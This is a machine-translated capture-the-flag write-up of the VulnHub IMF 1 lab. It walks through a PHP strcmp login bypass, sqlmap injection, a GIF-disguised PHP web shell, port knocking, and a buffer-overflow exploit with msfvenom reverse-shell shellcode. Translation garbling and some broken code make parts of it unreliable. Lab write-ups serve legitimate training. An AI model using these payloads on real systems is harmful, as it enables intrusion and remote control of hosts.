VulnHub: Analysis of IMF 1 and another buffer overflow


In this time we consider Boot2Root IMF 1 from VulnHub. There are 6 flags, each of which contains a clue to getting the next one. So I recommend to read the tutorials previous jobs.

the

Start


Let's start as usual, with port scan:

the
$ sudo arp-scan -l-I wlan0| grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap-sV -p1-65535

Starting Nmap 7.01 ( nmap.org ) at 2016-12-25 22:41 MSK
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.40% done; ETC: 22:44 (0:03:31 remaining)
Nmap scan report for 192.168.1.116
Host is up (0.00046 s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)

the

Flag 1


Begin to search the directories on the website:

the
$ sudo dirsearch -u 'http://192.168.1.116' -e php,html,bak,txt,jpg,json w /usr/share/dirb/wordlists/big.txt -r-f -x 403


Looking through each of the found pages and the code on the page contact.php, find the first flag:

the
<section id="service">
<div class="container">
<!-- flag1{YWxsdGhlZmlsZXM=} -->
<div class="service-wrapper">
<div class="row">
<div class="col-md-4 col-sm-6">
<div class="block wow fadeInRight" data-wow-delay="1s">
<div class="icon">
<i class="fa fa-desktop"></i> 
</div>
<h3>Roger S. Michaels</h3>
<p>rmichaels@imf.local</p>
<p>Director</p>
</div>
</div>
<div class="col-md-4 col-sm-6">
<div class="block wow fadeInRight" data-wow-delay="1.3 s">
<div class="icon">
<i class="fa fa-paper-plane"></i>
</div>
<h3>Alexander B. Keith</h3>
<p>akeith@imf.local</p>
<p>Deputy Director</p>
</div>
</div>
<div class="col-md-4 col-sm-6">
<div class="block wow fadeInRight" data-wow-delay="1.6 s">
<div class="icon">
<i class="fa fa-file-text"></i>
</div>
<h3>Elizabeth R. Stone</h3>
<p>estone@imf.local</p>
<p>Chief of Staff</p>
</div>
</div>
</div>
</div>
</div>
</section>

In addition to the flag flag1{YWxsdGhlZmlsZXM=}, we find here also a list of e-mail addresses of staff:
estone@imf.local
akeith@imf.local
rmichaels@imf.local

Save it, and Raskovalov flag, we get a hint to the following:

the
$ echo YWxsdGhlZmlsZXM= | base64 -d
allthefiles

the

Flag 2


A careful viewing, there is also in the code of pages you may notice that this plot:

the
 <script src="js/ZmxhZzJ7YVcxbVl.js"></script>
<script src="js/XUnRhVzVwYzNS.js"></script>
<script src="js/eVlYUnZjZz09fQ==.min.js"></script>

Similar to base64. Combining all together, we get the flag:

the
$ echo ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYunzjzz09fq== | base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
$ echo aW1mYWRtaW5pc3RyYXRvcg== | base64 -d
imfadministrator

the

Flag 3


On the resulting page, spinning the authorization form, and a rather interesting comment in the page code:


the
<form method="POST" action="">
<label>Username:</label><input type="text" name="user" value=""><br />
<label>Password:</label><input type="password" name="pass" value=""><br />
<input type="submit" value="Login">
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
</form>

Hmm, most often to compare strings case sensitive in PHP, use either == or strcmp. At last, there is one feature, the function will return 0 if the string to match against the array.

Check here it is. Replacing pass to pass[], try to log in under username: rmichaels. All is successful! +1 flag:

the
flag3{Y29udGludWVUT2Ntcw==}<br />Welcome rmichaels<br /><a href='cms.php?pagename=home'>IMF CMS</a>

the
$ echo Y29udGludWVUT2Ntcw== | base64 -d
continueTOcms

the

Flag 4


Follow the link and get to the page:

The presence of parameters in the address bar, just hints at the presence of the database, either Path Traversal. So give the page in sqlmap and enjoy the result:

the
sudo sqlmap -u 'http://192.168.1.116/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=pms0cbae74vmfta3spk4kac5q5' --level=5 --risk=3 --dbs --random-agent

Get a few informative messages:
[15:23:55] [INFO] GET parameter 'pagename' appears to be 'AND boolean-based blind — WHERE or HAVING clause' injectable (with --string="the")
[15:23:55] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
[15:24:10] [INFO] GET parameter 'pagename' is 'MySQL UNION query (NULL) — 1 to 20 columns' injectable

And ultimately, sqlmap gives the list of available databases:
available databases [5]:
[*] admin
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

Here the greatest interest is base Admin, single table pages

Dump the table


Here we see the presence of another, hidden page tutorials-incomplete. As you can see, there is only one image:



QR code there is clearly too much, cut it and sent to website, where we get another flag: flag4{dXBsb2Fkcjk0Mi5waHA=} hint:

the
$ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d
uploadr942.php

the

Flag 5


Clicking on the page opens a form for uploading files. After several attempts, determine what you can only upload image: is checked as the header and file extension. After a successful download, the code page is the name of the uploaded file:

the
<html>
<head>
<title>File Uploader</title>
</head>
<body>
<h1>Intelligence Upload Form</h1> 
File successfully uploaded.
<!-- 4e8c80f6f326 --><form id="Upload" action="" enctype="multipart/form-data" method="post">
<p> 
<label for="file" > File to upload:</label> 
<input id="file" type="file" name="file"> 
</p> 

<p> 
<input id="submit" type="submit" name="submit" value="Upload"> 
</p> 
</form>
</body>
</html>

Checking the directory much, we find there is our file. Try to fill the shell through the file shell.gif:

the
GIF89a
<?php system($_GET['cmd']); ?>

And get in response error!


OK, from the documentation of PHP to the functions system and exec, you can see that instead it is also possible to use here such construction:

the
echo `id`;

Fix the shell and test it:

the
GIF89a
<?php $cmd=$_GET['cmd']; print(`$cmd`); ?>


It worked! Great! We find in the same directory, the fifth flag flag5{YWdlbnRzZXJ2aWNlcw==}. And another hint where to go:

the
$ echo YWdlbnRzZXJ2aWNlcw== | base64 -d
agentservices

the

6 Flag


Try to look for this service using the uploaded PHP shell (commands executed through this shell will start with "> "). The output of running services gave nothing, but the file services was interesting:

the
> cat /etc/services | grep agent
cmip-agent 164/tcp
cmip-agent 164/udp
zabbix-agent 10050/tcp # Zabbix Agent
zabbix-agent 10050/udp
agent 7788/tcp # Agent service

Everything is standard except the last line. But nmap not found this port open, perhaps a service should be run, or there is port knocking.

Run it:

the
> agent


The service has started, gave the greeting, but the port is still not available. Trying to find a service, find a number of interesting file:

the
> whereis agent
agent: /usr/local/bin/agent
> ls-ahl /usr/local/bin/
-rw-r--r-- 1 root root 19 Oct 16 08:11 access_codes
-rwxr-xr-x 1 root root 12K Oct 12 22:39 agent
> cat /usr/local/bin/access_codes
SYN 7482,8279,9467

Yes, this is very similar to port knocking, check:

the
sudo knock 192.168.1.116 7482 8279 9467; sudo nmap 192.168.1.116 -p7788

Starting Nmap 7.01 ( nmap.org ) at 2016-12-30 22:31 PDT
Nmap scan report for 192.168.1.116
Host is up (0.00030 s latency).
7788/tcp open unknown
MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)

The port was opened, after connecting to it, again get the invitation service agent. It's all good, but to continue interaction with the service he needs to pass the ID. So you can download it yourself for further analysis:

the
$ nc-l-p 9999 > agent
> nc 192.168.1.124 9999 < /usr/local/bin/agent

Opening it in IDA and going to the function main, you can find the right ID


Next, after viewing the code, it becomes clear that after entering the ID service opens a menu and depending on selected item triggers a particular function, the most interesting here were the report


Given that there are no checks for user input, get the usual buffer overflow. Run it does and find the offset at which there is a return address. Create a pattern:


Pass it to the function report


After the collapse, we find the offset.


Well, you can start writing the exploit.

Use the shell of Metasploit:

the
$ sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d"

the
import socket

port = 7788
host = '192.168.1.116'
agent_id = 48093572
buf = ""
buf += "\xba\xd0\xda\xa0\x74\xd9\xee\xd9\x74\x24\xf4\x58\x33"
buf += "\xc9\xb1\x12\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2"
buf += "\x25\xeb\x7b\x83\x26\x5f\x3f\x3f\xc2\x62\x0f\xd9\x9b"
buf += "\x82\xa2\xa6\x0c\x1f\x55\x67\x9a\xa1\xd9\x0f\xd8\xa1"
buf += "\x06\xdf\x55\x40\x22\xb9\x3d\xd3\xe2\x12\x34\x32\x47"
buf += "\x50\xc6\x07\x4f\xd3\xc6\x77\x50\x23\x4f\x94\x91\xc8"
buf += "\x43\x9a\xf1\x03\xeb\x61\x3b\x9b\x50\x13\x22\x05\xd0"
buf += "\x2f\x15\x35\xd1\xb0\xaa\xdb"
shell = buf
shell += "\x90"*(168-len(shell))

If you look closely, the conclusion does after a crash of the application during local debugging, you can see that the EAX register points to the beginning of the stack:


On the target host is enabled ASLR, it can be seen after running the command:

the
> cat /proc/sys/kernel/randomize_va_space
2

Therefore, we use the method which is also known as ret2reg. For example here can more to read about it.


We need the address (0x08048563) found. Append it to the exploit:

the
shell += "\x63\x85\x04\x08"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall('%s\n' %(agent_id))
s.sendall('3\n')
s.sendall(shell)
data = s.recv(1024)
print(data)

Run Metasploit:


Finally, after running our exploit get a shell with the rights of the root:

the
$ python ./exploit_bof.py


And actually pick up the last flag:


Decode it:

the
$ echo R2gwc3RQcm90MGMwbHM= | base64 -d
Gh0stProt0c0ls


PS Here are the files from the root directory of your web server:

index.php
<?php
session_start();
$loggedin=false;
if ($_SESSION['admin_logged_on'] == 'that is affirmative sir') {
echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>";
$loggedin=true;
} elseif (isset($_POST["user"]) && isset($_POST["pass"])) {
$password = "398fj289fj2389fj398fjhhds^hkseifw3893h#(&$$*838hjf";
sleep(3); // do not bruteforce
if ($_POST["user"]=='rmichaels') {
if (strcmp($password, $_POST["pass"]) == 0) {
$_SESSION['admin_logged_on'] = 'that is affirmative sir';
echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>";
$loggedin=true;
} else {
echo "Invalid password";
}
} else {
echo "Invalid username.";
} 

}
if($loggedin===false) {
?>
<form method="POST" action="">

<label>Password:</label><input type="password" name="pass" value=""><br />
<input type="submit" value="Login">
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
</form>
<?php } ?>


uploadr942.php
<html>
<head>
<title>File Uploader</title>
</head>
<body>
<h1>Intelligence Upload Form</h1> 
<?php

// This is an example of how NOT to write a Web Application Firewall
crappyWAF function($content) {
$signatures = array(
'/\/\*<\?php \/\*\*\//i' => 'Meterpreter payload detected',
'/eval/i' = > 'Eval php function detected',
'/base64_decode/i' = > 'Base64_decode php function detected',
'/fopen/i' => 'php fopen function detected',
'/system/i' => 'system detected a php function',
'/passthru/i' = > 'passthru php function detected',
'/exec/i' => 'exec' php function detected',
'/pcntl_exec/i' => 'php function pcntl_exec detected',
'/popen/i' => 'php function popen detected',
'/fsockopen/i' => 'fsockopen php function detected',
'/proc_open/i' = > 'proc_open php function detected',
'/fclose/i' => 'php function fclose detected'
);
foreach($signatures as $signature= > $reason) {
if(preg_match($signature, $content)) {
return "CrappyWAF detected malware. Signature: ". $reason;
}
}
return true;
}

$validextensions = array("jpeg", "jpg", "png", "gif");
if(isset($_FILES['file']['name'])) {
if(!$_FILES['photo']['error']) {
$temporary = explode(".", $_FILES["file"]["name"]);
$file_extension = end($temporary);
if ($_FILES["file"]["size"] > 100000) {
Print "Error: File size too large.";
} elseif ((($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/gif"))
&& in_array($file_extension, $validextensions)){

$contents = file_get_contents($_FILES['file']['tmp_name']);
$waf = crappyWAF($contents);
if($body!==true) {
print "Error: ".$waf;
} else {
if(exif_imagetype($_FILES['file']['tmp_name'])!==false) {
//PHP Image Uploading Code
$new_file_name = substr( md5(rand()), 0, 12);
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$new_file_name.".".$file_extension);
print "File successfully uploaded.\n";
print "<!-- ". $new_file_name . "-->";
} else {
print "Error: Invalid file data.";
}
}
} else {
print "Error: Invalid file type.";
}

} else {
print "Error uploading file.";
}
}

?>
<form id="Upload" action="" enctype="multipart/form-data" method="post">
<p> 
<label for="file" > File to upload:</label> 
<input id="file" type="file" name="file"> 
</p> 

<p> 
<input id="submit" type="submit" name="submit" value="Upload"> 
</p> 
</form>

</body>
</html>

Article based on information from habrahabr.ru

Комментарии

Популярные сообщения из этого блога

Wikia Search — first impressions

Emulator data from GNSS receiver NMEA

mSearch: search + filter for MODX Revolution